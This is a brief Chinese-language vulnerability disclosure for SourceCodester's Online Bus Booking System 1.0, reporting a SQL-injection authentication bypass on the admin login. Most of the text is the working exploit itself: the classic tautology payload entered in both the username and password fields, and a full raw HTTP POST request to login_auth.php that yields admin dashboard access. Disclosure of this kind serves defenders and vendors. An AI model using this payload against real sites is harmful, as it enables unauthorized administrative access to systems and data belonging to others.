Online Bus Booking System 1.0 存在通过用户名或密码SQL注入绕过管理员登录页面 (admin.php) 认证的问题。
#供应商 - SourceCodester
#产品 -https://www.sourcecodester.com/php/14438/online-bus-booking-system-project-using-phpmysql.html V 1.0
#漏洞类型 - 认证绕过
#受影响组件 - bus_booking/admin.php
#攻击类型 - 本地
#权限提升 - true
#影响代码执行 - true
攻击向量
前往管理员登录面板并尝试绕过
在请求载荷中，设置
username : admin' or '1'='1
password : admin' or '1'='1
POST /bus_booking/login_auth.php HTTP/1.1
Cookie: PHPSESSID=5d6832eeb2a8dfd424c1b6dcd73745a0
username=admin'+or+'1'%3D'1&password=admin'+or+'1'%3D'1
成功登录到管理员仪表板
